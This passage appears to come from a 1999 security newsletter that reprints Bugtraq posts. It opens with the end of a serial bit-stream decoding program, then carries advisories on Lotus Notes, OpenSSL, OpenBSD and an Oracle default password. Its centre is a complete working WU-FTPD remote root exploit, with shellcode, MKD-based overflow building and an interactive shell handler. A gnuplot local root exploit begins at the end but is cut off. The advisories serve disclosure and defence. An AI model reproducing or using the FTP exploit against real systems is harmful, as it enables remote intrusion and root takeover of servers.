s=0,sl=0x0000,t1,asp=0,ll,k,v,b,tap,synd=0,nsy; static char line[200]; /* array used to format 112 bit data chunks */ static int lc=0; /* pointer to position in array line */ if (l == -1) { /* printf (" %2i\n",asp); */ sl = 0x0000; s = 0; synd = 0; if ((asp <12) && (lc > 50)) { ll = 12 - asp; for (ll=0; ll<6; ll++) { v = 0; for (k=7; k>=0; k--) { b = line[ (ll<<3) +k ]; v = v << 1; if ( b == 49) v++; } ob[obp] = (char) v; if (obp < 999) obp++; } } lc = 0; tap = asp; asp = 0; return(tap); } else { s++; if (s==1) { line[lc] = (char) l; lc++; } /* update sliding buffer */ sl = sl << 1; sl = sl & 0x7fff; if (l == 49) sl++; if (s >1) { s = 0; if ((sl & 0x2000) > 0) t1 = 1; else t1 = 0; if ((sl & 0x0800) > 0) t1^=1; if ((sl & 0x0020) > 0) t1^=1; if ((sl & 0x0002) > 0) t1^=1; if ((sl & 0x0001) > 0) t1^=1; /* attempt to identify, correct certain erroneous bits */ synd = synd << 1; if (t1 == 0) { asp++; synd++; } nsy = 0; if ( (synd & 0x0001) > 0) nsy++; if ( (synd & 0x0004) > 0) nsy++; if ( (synd & 0x0020) > 0) nsy++; if ( (synd & 0x0040) > 0) nsy++; if ( nsy >= 3) /* assume bit is correctable */ { printf ("*"); synd = synd ^ 0x65; line[lc - 7] ^= 0x01; /**********************************************/ } } } return(0); } void shob() { int i1,i2,j1,j2,k1; /* update file output buffer */ i1 = obp / 18; if ( (obp-(i1*18)) > 0) i1++; fob[fobp] = (char) (i1 & 0xff); if (fobp < 29999) fobp++; for (i2 = obp; i2<=(obp+20); i2++) ob[i2] = 0; for (j1 = 0; j1 < i1; j1++) { for (j2 = 0; j2 < 18; j2++) { k1 = j2 + (j1*18); printf("%02X ", ob[k1] & 0xff); fob[fobp] = (char) (ob[k1] & 0xff); if (fobp < 29999) fobp++; } printf (" "); for (j2 = 0; j2 < 18; j2++) { k1 = j2 + (j1*18); if (ob[k1] >=32) printf("%c",ob[k1]); else printf("."); } printf("\n"); } obp=0; printf("BUFFER: %3i percent full\n",(int)(fobp/299.0)); } /**********************************************************************/ /* frame_sync */ /**********************************************************************/ /* this routine recieves the raw bit stream and tries to decode it */ /* the first step is frame synchronization - a particular 40 bit */ /* long sequence indicates the start of each data frame. Data frames */ /* are always 112 bits long. After each 112 bit chunk this routine */ /* tries to see if the message is finished (assumption - it's finished*/ /* if the 40 bit frame sync sequence is detected right after the end */ /* of the 112 bit data chunk). This routine also goes back to hunting */ /* for the frame sync when the routine processing the 112 bit data */ /* chunk decides there are too many errors (transmitter stopped or */ /* bit detection routine skipped or gained an extra bit). */ /* */ /* inputs are fed to this routine one bit at a time */ /* input : 48 - bit is a zero */ /* 49 - bit is a 1 */ void frame_sync(char gin) { static unsigned int s1=0,s2=0,s3=0,nm,j,t1,t2,t3,ns=0,st=0,n,m,l,chu=0,eef=0; static char ta[200]; if (st == 1) { ta[ns] = gin; ns++; if (ns >= 112) /* process 112 bit chunk */ { chu++; ns = 0; for (n= 0; n<16; n++) { for (m=0; m<7; m++) { l = n + (m<<4); pork(ta[l]); } } if (pork(-1) > 20) eef++; else eef=0; if (eef > 1) /* if two consecutive excess error chunks - bye */ { st = 0; shob(); eef = 0; } /* else eef = 0; */ } } /* s1,s2,s3 represent a 40 bit long buffer */ s1 = (s1 << 1) & 0xff; if ((s2 & 0x8000) > 0) s1++; s2 = (s2 << 1); if ((s3 & 0x8000) > 0) s2++; s3 = (s3 << 1); if (gin == 49) s3++; /* xor with 40 bit long sync word */ t1 = s1 ^ 0x0007; t2 = s2 ^ 0x092A; t3 = s3 ^ 0x446F; /* find how many bits match up */ /* currently : the frame sync indicates system id / idling / whatever */ /* inverted frame sync indicates message follows */ nm = 0; for (j=0; j<16; j++) { if (t1 & 1) nm++; if (t2 & 1) nm++; if (t3 & 1) nm++; t1 = t1 >> 1; t2 = t2 >> 1; t3 = t3 >> 1; } if (nm < 5) { st = 1; ns = 0; } else if (nm > 35) { if (st==1) { shob(); } st = 0; ns = 0; } } void main (int argc) { unsigned int n,i=0,j,k,l,cw1=49,cw0=48; FILE *out; char s=48; double pl,dt,exc=0.0,clk=0.0,xct; if (argc > 1) { printf ("Reverse Polarity.\n"); cw1 = 48; cw0 = 49; } /* dt is the number of expected clock ticks per bit */ dt = 1.0/(4800.0*838.8e-9); oldfuncc = getvect(0x0c); /* save COM1 Vector */ setvect (0x0c, com1int); /* Capture COM1 vector */ n = inportb (0x21); /* enable IRQ4 interrupt */ outportb(0x21, n & 0xef); set8253(); /* set up 8253 timer chip */ set8250(); /* set up 8250 UART */ while ((kbhit() == 0) && (fobp<29900)) { if (i != cpstn) { if ( ( fdata[i] & 0x8000) != 0) s = cw1; else s = cw0; /* add in new number of cycles to clock */ clk += (fdata[i] & 0x7fff); xct = exc + 0.5 * dt; /* exc is current boundary */ while ( clk >= xct ) { frame_sync(s); clk = clk - dt; } /* clk now holds new boundary position. update exc slowly... */ /* 0.005 sucks; 0.02 better; 0.06 mayber even better; 0.05 seems pretty good */ exc = exc + 0.020*(clk - exc); i++; if( i >buflen) i = 0; } } outportb (0x21, n); /* disable IRQ4 interrupt */ setvect (0x0c, oldfuncc); /* restore old COM1 Vector */ /* save captured data to disk file */ i = 0; out = fopen("data.dat","wt"); if (out == NULL) { printf ("couldn't open output file.\n"); exit(1); } i = 0; while ( (i < fobp) && (i < 29800)) { j = ((int)fob[i] & 0xff); i++; for (k=0; k<j; k++) { for (l=0; l<18; l++) { fprintf(out,"%02X ",((int) fob[i + l]&0xff)); } fprintf(out," "); for (l=0; l<18; l++) { n = ((int)fob[i]&0xff); i++; if (n >=32) fprintf(out,"%c",n); else fprintf(out,"."); } fprintf(out,"\n"); } fprintf(out,"\n"); } fclose(out); } @HWA 30.0 Bugtraq: Lotus Notes security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To: BUGTRAQ@netspace.org Security advisory Advisory released Mar 23 1999 ----- Application: Lotus Notes Client (Version 4.5, probably others) Impact: Encrypted mail sent from the Notes client may traverse the network in the clear and may be stored on the mail server unencrypted. Author: Martin Bartosch ----- Synopsis -------- When performing network analysis experiments with the Lotus Notes Client a very subtle bug was discovered that may lead to inadvertent revelation of confidential information. Usually the Notes client sends at least two copies of a newly created mail. One copy is sent to the recipient, the other is stored in the "Sent Mail" folder of the sender's Notes server. If an encrypted mail is to be sent and the conditions for this bug are met, the copy for the sender's "Sent Mail" folder is not encrypted. As a result, the message is sent to the Notes server in the clear and stored on the Notes server unencrypted. The message may thus be intercepted and read by analyzing the network traffic between the sender's Notes client and the server or by directly accessing the "Sent Mail" folder on the Notes server. The user is not given any warning or notification about the problem, and the problem causes almost no noticable side effects. As a result, if a user is affected by the problem, this will probably remain unnoticed. Lotus is currently working on the problem, a detailed analysis and official fixes may be available soon. Once this is available, it should be preferred to the workaround presented in this document. Details ------- The problem seems to result from an inadequate check condition in the client code. Traditionally Windows, DOS and OS/2 use the backslash character ('\') as a path separator, whereas Unix systems use the slash ('/') for this purpose. Applications that deal with both styles need to be aware of the problem and have to take care of paths passed to applications or services on other systems. The user's database usually is located on a remote server. Though Notes clients are normally Windows style systems, the servers may either run Windows, OS/2 or Unix as the server operating system. Thus Notes needs to take care of proper translation of file paths as files are accessed on various platforms. Notes accesses databases by specifying the server and the path to the database. In order to open a user's database in the first place, the user needs to enter the correct path to the database or traverse the directory tree on the server. When the database has been opened, Notes remembers the path to the database for subsequent access to this database. Internally the Notes client seems to store the path to the database using the client operating system file naming conventions. In particular, on Windows or OS/2 platforms, Notes uses Backslash characters ('\') as path separators. The current Notes environment settings may be changed by opening the environment document (File/Mobile/Edit current environment). In the second entry of the section "Mail" the path to the mail file can be changed by the user. Notes uses this entry for various purposes. One of these is the periodical check for new mail or agenda events. (If the user specifies an incorrect path here, mail notification does not work any longer.) To address the backslash-slash problem, Notes seems to translate any path entered by the user into the proper representation needed for accessing the service required. Apparently it does not matter at all if paths are entered with slashes or backslashes as path separators. The GUI dialogs accept any spelling as well as the environment document mentioned above. However, if for some reason the environment document of a Windows style client specifies the mail file with *slashes* as a path separator (like e. g. mail/users/user.nsf instead of mail\users\user.nsf) Notes does a proper translation of the path and almost all functions will work as expected. Except for one side effect: Notes does not recognize the specified database as the user's mail database. Probably a simple string compare between the currently opened mail database and the database path of the environment document is performed, and this comparison fails because of the different representation of paths. The resulting effect: if an encrypted mail is to be sent and the environment document does contain a mail database path with 'incorrect' path separators as seen from the client OS view, the mail copy for the user's "Sent Mail" folder is being sent to the user's database in the plain and stored unencrypted on the server. The contents of the message may be read in plain text by sniffing on the network or by directly accessing the notes database. The behaviour described can be reproduced with almost any Notes client and server combination. Even if both the server and client use the same operating system, it is still possible to enter the mail path separated with slash characters. The Notes client will behave as described above. Detection --------- - compose a new mail message - address this message to some other user - using the mail properties dialog enable encryption for this individual message - send message - change to the "Sent Mail" folder of your mail database - right-click on the sent message once - open the properties dialog for this document - choose "fields" in the document properties - check existence of the fields "$Seal", "$SealData" and "Body" Under normal circumstances the "$Seal"/"$SealData" and "Body" fields are mutually exclusive. The existence of "$Seal" and "$SealData" usually indicate that the message was properly encrypted. If the field "Body" exists, this message is stored in the plain on the server and was transferred unencrypted across the network. Alternatively the network traffic can be analyzed while sending an encrypted mail. This is how the bug was discovered in the first place. Workaround ---------- The workaround described here may be an incomplete fix for the problem; the problem may be triggered by other conditions as well. As Lotus is actively investigating on the problem, the solution presented by Lotus may be more general and should be preferred once it is available. First method: Open your environment document. The path to the database must *not* contain any path separator characters that are not natively used by the client operating system. When using a Windows or OS/2 environment, the path must only contain backslash '\' characters. Example: Mail File: mail\path\to\user.nsf * OK * Mail File: mail/path/to/user.nsf * DANGER! * A client restart is required to make the changes effective. Second method: In your global preferences check the "Encrypt saved mail" box. Every message you send will be encrypted when saving the message to the "Sent Mail" folder on the server. Use both methods to be sure that mail sent by the client is not sent and stored in the clear. Be aware that using the second methond will result in encryption of the whole database and that loss of your passphrase or Notes ID will effectively cause loss of your mail database contents. Vendor activities ----------------- Lotus has been informed of this bug and is currently working on the problem. An official fix or workaround will be published by Lotus. Credits ------- Michael Doberenz; Michael Popp whose network analysis experiments revealed that there was a problem in the first place Artur Hahn found the real reason (path separator issue) for the Notes encryption problem -- Martin Bartosch bartosch@mail.deuba.com This message and any statements expressed therein are those of myself and not of the Deutsche Bank AG or its subsidiary companies. @HWA 31.0 Bugtraq: New FTP exploit ~~~~~~~~~~~~~~~~~~~~~~~~ Approved-By: aleph1@UNDERGROUND.ORG Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.6.53]) by netspace.org (8.8.7/8.8.7) with ESMTP id LAA25208 for <BUGTRAQ@netspace.org>; Mon, 22 Mar 1999 11:10:17 -0500 Received: from xs3.xs4all.nl (pietern@xs3.xs4all.nl [194.109.6.44]) by smtp3.xs4all.nl (8.8.8/8.8.8) with ESMTP id RAA03847 for <BUGTRAQ@netspace.org>; Mon, 22 Mar 1999 17:10:23 +0100 (CET) Received: from localhost (pietern@localhost) by xs3.xs4all.nl (8.9.0/8.9.0) with ESMTP id RAA18937 for <BUGTRAQ@netspace.org>; Mon, 22 Mar 1999 17:10:23 +0100 (CET) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: <Pine.BSI.4.10.9903221702080.18430-100000@xs3.xs4all.nl> Date: Mon, 22 Mar 1999 17:10:23 +0100 Reply-To: Pieter Nieuwenhuijsen <pietern@XS4ALL.NL> Sender: Bugtraq List <BUGTRAQ@netspace.org> From: Pieter Nieuwenhuijsen <pietern@XS4ALL.NL> Subject: ftp exploit To: BUGTRAQ@netspace.org /* THIS IS PRIVATE! DO NOT DISTRIBUTE!!!! PRIVATE! WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1) for linux x86 (redhat 5.2) by duke duke@viper.net.au BIG thanks to stran9er for alot of help with part of the shellcode! i fear stran9er, but who doesn't? !@$ :) Greets to: #!ADM, el8.org users, To exploit this remotely they need to have a directory you can have write privlidges to.. this is the <dir> argument.. you can also use this locally by specifying -l <ur login> -p <urpass> with the <dir> = your home directory or something..(must begin with '/') also alignment arg is how return address is aligned.. shouldnt need it, but if u do it should be between 0 and 3 It takes about 10 seconds after "logged in" so be patient. -duke */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> //#include <linux/time.h> //#include <sys/select.h> #include <sys/time.h> #include <unistd.h> #define RET 0xbfffa80f void logintoftp(); void sh(); void mkd(char *); int max(int, int); long getip(char *name); char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80" "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80" "\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed" "\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1" "\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03" "\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89" "\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd" "\x80\xe8\xac\xff\xff\xff"; char tmp[256]; char name[128], pass[128]; int sockfd; int main(int argc, char **argv) { char sendln[1024], recvln[4048], buf1[800], buf2[1000]; char *p, *q, arg, **fakeargv = (char **) malloc(sizeof(char *)*(argc + 1)); int len, offset = 0, i, align=0; struct sockaddr_in cli; if(argc < 3){ printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]); exit(0); } for(i=0; i < argc; i++) { fakeargv[i] = (char *)malloc(strlen(argv[i]) + 1); strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1); } fakeargv[argc] = NULL; while((arg = getopt(argc,fakeargv,"l:p:a:o:")) != EOF){ switch(arg) { case 'l': strncpy(name,optarg,128); break; case 'p': strncpy(pass,optarg,128); break; case 'a': align=atoi(optarg); break; case 'o': offset=atoi(optarg); break; default: printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]); exit(0); break; } } if(name[0] == 0) strcpy(name, "anonymous"); if(pass[0] == 0) strcpy(pass, "hi@blahblah.net"); bzero(&cli, sizeof(cli)); bzero(recvln, sizeof(recvln)); bzero(sendln, sizeof(sendln)); cli.sin_family = AF_INET; cli.sin_port = htons(21); cli.sin_addr.s_addr=getip(argv[1]); if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("socket"); exit(0); } if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){ perror("connect"); exit(0); } while((len = read(sockfd, recvln, sizeof(recvln))) > 0){ recvln[len] = '\0'; if(strchr(recvln, '\n') != NULL) break; } logintoftp(sockfd); printf("logged in.\n"); bzero(sendln, sizeof(sendln)); for(i=align; i<996; i+=4) *(long *)&buf2[i] = RET + offset; memcpy(buf2, "a", align); memset(buf1, 0x90, 800); memcpy(buf1, argv[2], strlen(argv[2])); mkd(argv[2]); p = &buf1[strlen(argv[2])]; q = &buf1[799]; *q = '\x0'; while(p <= q){ strncpy(tmp, p, 200); mkd(tmp); p+=200; } mkd(shellcode); mkd("bin"); mkd("sh"); p = &buf2[0]; q = &buf2[999]; while(p <= q){ strncpy(tmp, p, 250); mkd(tmp); p+=250; } sh(sockfd); close(sockfd); printf("finit.\n"); } void mkd(char *dir) { char snd[512], rcv[1024]; char blah[1024], *p; int n; struct timeval tv; fd_set fds; bzero(&tv, sizeof(tv)); tv.tv_usec=50; bzero(blah, sizeof(blah)); p = blah; for(n=0; n<strlen(dir); n++){ if(dir[n] == '\xff'){ *p = '\xff'; p++; } *p = dir[n]; p++; } sprintf(snd, "MKD %s\r\n", blah); write(sockfd, snd, strlen(snd)); bzero(snd, sizeof(snd)); sprintf(snd, "CWD %s\r\n", blah); write(sockfd, snd, strlen(snd)); bzero(rcv, sizeof(rcv)); FD_ZERO(&fds); FD_SET(sockfd,&fds); select(sockfd+1,&fds,NULL,NULL,&tv); if (FD_ISSET(sockfd,&fds)) while((n = read(sockfd, rcv, sizeof(rcv))) > 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } return; } void logintoftp() { char snd[1024], rcv[1024]; int n; printf("logging in with %s: %s\n", name, pass); memset(snd, '\0', 1024); sprintf(snd, "USER %s\r\n", name); write(sockfd, snd, strlen(snd)); while((n=read(sockfd, rcv, sizeof(rcv))) > 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } memset(snd, '\0', 1024); sprintf(snd, "PASS %s\r\n", pass); write(sockfd, snd, strlen(snd)); while((n=read(sockfd, rcv, sizeof(rcv))) > 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } return; } void sh() { char snd[1024], rcv[1024]; fd_set rset; int maxfd, n; strcpy(snd, "cd /; uname -a; pwd; id;\n"); write(sockfd, snd, strlen(snd)); for(;;){ FD_SET(fileno(stdin), &rset); FD_SET(sockfd, &rset); maxfd = max(fileno(stdin), sockfd) + 1; select(maxfd, &rset, NULL, NULL, NULL); if(FD_ISSET(fileno(stdin), &rset)){ bzero(snd, sizeof(snd)); fgets(snd, sizeof(snd)-2, stdin); write(sockfd, snd, strlen(snd)); } if(FD_ISSET(sockfd, &rset)){ bzero(rcv, sizeof(rcv)); if((n = read(sockfd, rcv, sizeof(rcv))) == 0){ printf("EOF.\n"); exit(0); } if(n < 0){ perror("read"); exit(-1); } fputs(rcv, stdout); } } } int max(int x, int y) { if(x > y) return(x); return(y); } long getip(char *name) { struct hostent *hp; long ip; if ((ip=inet_addr(name))==-1) { if ((hp=gethostbyname(name))==NULL) { fprintf(stderr,"Can't resolve host.\n"); exit (1); } memcpy(&ip, (hp->h_addr), 4); } return ip; } @HWA 32.0 Bugtraq: OpenSSL and SSLeay Advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ OpenSSL and SSLeay Security Alert --------------------------------- It was recently realised that packages that use SSLeay and OpenSSL may suffer from a security problem: under some circumstances, SSL sessions can be reused in a different context from their original one. This may allow access controls based on client certificates to be bypassed. Unfortunately, before the the problem was fully understood, it was discussed on various public lists. The OpenSSL team have therefore decided to release an interim version of OpenSSL which addresses the problem by disabling session reuse except in limited circumstances (see below). A future version will deal with the problem more elegantly by redoing verification on reused sessions when necessary. Although this problem is not strictly a defect in OpenSSL, it is rather tricky for applications to be coded correctly to avoid the problem due to the sketchy nature of SSLeay/OpenSSL documentation. We therefore decided to protect applications from within OpenSSL. The problem ----------- SSL sessions include a session ID which allows initial setup to be bypassed once a session has been established between a client and server. This session ID, when presented by the client, causes the same master key to be used as was used on the previous connection, thus saving considerable session setup time. When the session is reused in this manner, all access controls based on client certificates are bypassed, on the grounds that the original session would have made the necessary checks. Unfortunately, the lack of documentation has resulted in the caching structures being used in certain applications without appropriate care being taken to assure that the cached sessions are only available at the appropriate moments. As a result it is sometimes possible for a specially written SSL client to fraudulently obtain an SSL connection which requires access control by reusing a previous session which had different or no access control. The problem affects servers which support session reuse and which have multiple virtual hosts served from a single server, where some virtual hosts use differing client server verifications. Note that "different" includes no verification on some hosts, and verification on others, or different CAs for different hosts. In order to exploit this problem carefully written client software would need to be written. The attacker would need considerable knowledge of the SSL protocol. Standard web browsers will not and cannot be made to use SSL in this way. Affected software ----------------- All server software using SSLeay or versions of OpenSSL prior to version 0.9.2b that support multiple virtual hosts with different client certificate verification may be vulnerable. This includes, but is not limited to: Apache-SSL http://www.apache-ssl.org/ mod_ssl http://www.engelschall.com/sw/mod_ssl/ Raven http://www.covalent.net/ Stronghold http://www.c2.net/ The solution ------------ Download OpenSSL 0.9.2b (see http://www.openssl.org) and build it in the usual way. Check the application for updates, and download those, too (NB: this step is not necessarily required, the updated library will fix the problem). The versions of the applications listed above that you should use are: Apache_SSL 1.3.4+1.32 mod_ssl 2.2.6-1.3.4 Raven 1.4.0 Stronghold 2.4.2 Rebuild the application (if needed). If you are an application author, you should look in to the use of SSL_set_session_id_context(), which can be used to reenable session reuse when appropriate. Known exploits -------------- There are no known exploits of this security hole. Ben Laurie, for the OpenSSL team. -- http://www.apache-ssl.org/ben.html "My grandfather once told me that there are two kinds of people: those who work and those who take the credit. He told me to try to be in the first group; there was less competition there." - Indira Gandhi @HWA 33.0 Recent OpenBSD security advisories ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.openbsd.org/security.html#24 Approved-By: aleph1@UNDERGROUND.ORG Received: from cvs.openbsd.org (root@cvs.openbsd.org [199.185.137.3]) by netspace.org (8.8.7/8.8.7) with ESMTP id PAA26180 for <BUGTRAQ@netspace.org>; Tue, 2 Mar 1999 15:08:12 -0500 Received: from cvs.openbsd.org (IDENT:deraadt@localhost [127.0.0.1]) by cvs.openbsd.org (8.9.3/8.9.1) with ESMTP id NAA19006 for <BUGTRAQ@netspace.org>; Tue, 2 Mar 1999 13:08:25 -0700 (MST) Message-ID: <199903022008.NAA19006@cvs.openbsd.org> Date: Tue, 2 Mar 1999 13:08:22 -0700 Reply-To: Theo de Raadt <deraadt@CVS.OPENBSD.ORG> Sender: Bugtraq List <BUGTRAQ@netspace.org> From: Theo de Raadt <deraadt@CVS.OPENBSD.ORG> Subject: New OpenBSD security-related patches To: BUGTRAQ@netspace.org There are a couple of new OpenBSD 2.4 security-related patches at http://www.openbsd.org/security.html#24 We do not normally publish long wordy advisories to mailing lists (not enough time in the day). That said, I'm surprised that other readers of BUGTRAQ don't advise each other (publically) when new entries show up in our patches archive. I'm sure some of these fixes affect other systems.. -=- "If we are so much greater than the sum of all our parts how come we're 90% water?" - Ed -=- From the site: OpenBSD 2.4 Security Advisories These are the OpenBSD 2.4 advisories -- all these problems are solved in OpenBSD current. Obviously, all the OpenBSD 2.3 advisories listed below are fixed in OpenBSD 2.4. Mar 22, 1999: The nfds argument for poll(2) needs to be constrained, to avoid kvm starvation (patch included). Mar 21, 1999: A change in TSS handling stops another kernel crash case caused by the crashme program (patch included). Feb 25, 1999: An unbounded increment on the nlink value in FFS and EXT2FS filesystems can cause a system crash. (patch included). Feb 23, 1999: Yet another buffer overflow existed in ping(8). (patch included). Feb 19, 1999: ipintr() had a race in use of the ipq, which could permit an attacker to cause a crash. (patch included). Feb 17, 1999: A race condition in the kernel between accept(2) and select(2) could permit an attacker to hang sockets from remote. (patch included). Feb 17, 1999: IP fragment assembly can bog the machine excessively and cause problems. (patch included). Feb 12, 1999: i386 T_TRCTRAP handling and DDB interacted to possibly cause a crash. (patch included). Feb 11, 1999: TCP/IP RST handling was sloppy. (patch included). Nov 27, 1998: There is a remotely exploitable problem in bootpd(8). (patch included). Nov 19, 1998: There is a possibly locally exploitable problem relating to environment variables in termcap and curses. (patch included). Nov 13, 1998: There is a remote machine lockup bug in the TCP decoding kernel. (patch included). OpenBSD 2.3 Security Advisories These are the OpenBSD 2.3 advisories -- all these problems are solved in OpenBSD current. Obviously, all the OpenBSD 2.2 advisories listed below are fixed in OpenBSD 2.3. Nov 27, 1998: There is a remotely exploitable problem in bootpd(8). (patch included). Nov 13, 1998: There is a remote machine lockup bug in the TCP decoding kernel. (patch included). Jul 2, 1998: setuid and setgid processes should not be executed with fd slots 0, 1, or 2 free. (patch included). August 31, 1998: A benign looking resolver buffer overflow bug was re-introduced accidentally (patches included). June 6, 1998: Further problems with the X libraries (patches included). June 4, 1998: on non-Intel i386 machines, any user can use pctr(4) to crash the machine. May 17, 1998: kill(2) of setuid/setgid target processes too permissive (4th revision patch included). May 11, 1998: mmap() permits partial bypassing of immutable and append-only file flags. (patch included). May 1, 1998: Buffer overflow in xterm and Xaw (CERT advisory VB-98.04) (patch included). May 5, 1998: Incorrect handling of IPSEC packets if IPSEC is enabled (patch included). OpenBSD 2.2 Security Advisories These are the OpenBSD 2.2 advisories. All these problems are solved in OpenBSD 2.3. Some of these problems still exist in other operating systems. (The supplied patches are for OpenBSD 2.2; they may or may not work on OpenBSD 2.1). May 5, 1998: Incorrect handling of IPSEC packets if IPSEC is enabled (patch included). May 1, 1998: Buffer overflow in xterm and Xaw (CERT advisory VB-98.04) (patch included). Apr 22, 1998: Buffer overflow in uucpd (patch included). Apr 22, 1998: Buffer mismanagement in lprm (patch included). Mar 31, 1998: Overflow in ping -R (patch included). Mar 30, 1998: Overflow in named fake-iquery (patch included). Mar 2, 1998: Accidental NFS filesystem export (patch included). Feb 26, 1998: Read-write mmap() flaw. Revision 3 of the patch is available here Feb 19, 1998: Sourcerouted Packet Acceptance. A patch is available here. Feb 13, 1998: Setuid coredump & Ruserok() flaw (patch included). Feb 9, 1998: MIPS ld.so flaw (patch included). Dec 10, 1997: Intel P5 f00f lockup (patch included). OpenBSD 2.1 Security Advisories These are the OpenBSD 2.1 advisories. All these problems are solved in OpenBSD 2.2. Some of these problems still exist in other operating systems. (If you are running OpenBSD 2.1, we would strongly recommend an upgrade to the newest release, as this patch list only attempts at fixing the most important security problems. In particular, OpenBSD 2.2 fixes numerous localhost security problems. Many of those problems were solved in ways which make it hard for us to provide patches). Sep 15, 1997: Deviant Signals (patch included) Aug 2, 1997: Rfork() system call flaw (patch included) Jun 24, 1997: Procfs flaws (patch included) Watching our Security Changes Since we take a proactive stance with security, we are continually finding and fixing new security problems. Not all of these problems get widely reported because (as stated earlier) many of them are not confirmed to be exploitable; many simple bugs we fix do turn out to have security consequences we could not predict. We do not have the time resources to make these changes available in the above format. Thus there are usually minor security fixes in the current source code beyond the previous major OpenBSD release. We make a limited guarantee that these problems are of minimal impact and unproven exploitability. If we discover that a problem definitely matters for security, patches will show up here VERY quickly. @HWA 34.0 Oracle is insecure at initial installation ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Approved-By: aleph1@UNDERGROUND.ORG Received: from majestic.tcs.tulane.edu (majestic.tcs.tulane.edu [129.81.224.6]) by netspace.org (8.8.7/8.8.7) with ESMTP id QAA32299 for <BUGTRAQ@netspace.org>; Thu, 4 Mar 1999 16:37:24 -0500 Received: from xftpd (h107.s156.tulane.edu [129.81.156.107]) by majestic.tcs.tulane.edu (8.9.3/8.9.3) with SMTP id PAA09523 for <BUGTRAQ@netspace.org>; Thu, 4 Mar 1999 15:36:58 -0600 (CST) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Importance: Normal Message-ID: <000201be6688$33466770$6b9c5181@xftpd.tulane.edu> Date: Thu, 4 Mar 1999 15:44:37 -0600 Reply-To: James Kivisild <kivisild@MAILHOST.TCS.TULANE.EDU> Sender: Bugtraq List <BUGTRAQ@netspace.org> From: James Kivisild <kivisild@MAILHOST.TCS.TULANE.EDU> Subject: Oracle Plaintext Password To: BUGTRAQ@netspace.org I now know this has been mentioned before, however I've gotten a large number of responses from people about Oracle problems similar to this. As a first time Oracle installer, I didn't realize the scope of the problem. I hope that upon reading this, more people will realize that the Default settings under Oracle just aren't secure. Original Post to NTBugtraq: I apologize if this has been mentioned before, however I haven't had any time to pursue this issue with any vigor. I recently installed Oracle 8.0.3 Enterprise Edition on an NT 4.0 Workstation and I noticed a particular feature within Oracle Database Assistant v1.0 that might be of some interest/concern. During the creation of an Oracle database, the Database Assistant lets you create either a custom or typical(default) database. If you select "custom" database, you must enter a master password that controls the administrative features in the database. If you select "typical", this password defaults to 'oracle'. As the database is created, the Server Manager reports all activities to a log file. This log file, "\orant\database\spoolmain.log", even logs the master password as it connects to the server to continue the setup. The entry is as follows: Echo ON SVRMGR> connect INTERNAL/MYPASSWORD Connected. Not only is this password in plaintext, but the file has permissions that enable anyone to view it. (owned by Admins, but full control for everyone) I believe the setup informs you that the file exists and should be checked for errors, but I didn't find any other reference to it in the documentation. The log does get overwritten each time you create a new database, however that just limits the number of plaintext passwords to one. Once again, I haven't had time to look into this, but it seems like a potential problem worth mentioning. -James Kivisild @HWA 35.0 GnuPlot buffer overflow exploit ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Approved-By: aleph1@UNDERGROUND.ORG Received: from inferno.tusculum.edu (qmailr@inferno.tusculum.edu [206.228.254.202]) by netspace.org (8.8.7/8.8.7) with SMTP id QAA02678 for <bugtraq@netspace.org>; Thu, 4 Mar 1999 16:55:02 -0500 Received: (qmail 484 invoked by uid 1111); 4 Mar 1999 21:55:18 -0000 Message-ID: <19990304215518.483.qmail@inferno.tusculum.edu> Date: Thu, 4 Mar 1999 21:55:18 -0000 Reply-To: xnec@INFERNO.TUSCULUM.EDU Sender: Bugtraq List <BUGTRAQ@netspace.org> From: xnec@INFERNO.TUSCULUM.EDU Subject: Linux /usr/bin/gnuplot overflow To: BUGTRAQ@netspace.org greetings, INFO: There is a local root comprimise in /usr/bin/gnuplot version Linux version 3.5 (pre 3.6) patchlevel beta 336. gnuplot is shipped to install suidroot on SuSE 5.2 and maybe others. The exploit starts as a simple $HOME buffer overflow, but much like zgv holes in the past, it drops root privs before the overflow occurs. However, as Nergal describes at http://www.geek-girl.com/bugtraq/1998_4/0148.html, svgalib needs write access to /dev/mem, and we can therefore regain root privs by overwriting our uid. the offending code appears in plot.c where we see: char home[80]; ... char *tmp_home=getenv(HOME); ... strcpy(home,tmp_home); EXPLOIT: xnec_plot.c ---snip--- /* gnuplot Linux x86 exploit from xnec tested on gnuplot Linux version 3.5 (pre 3.6) patchlevel 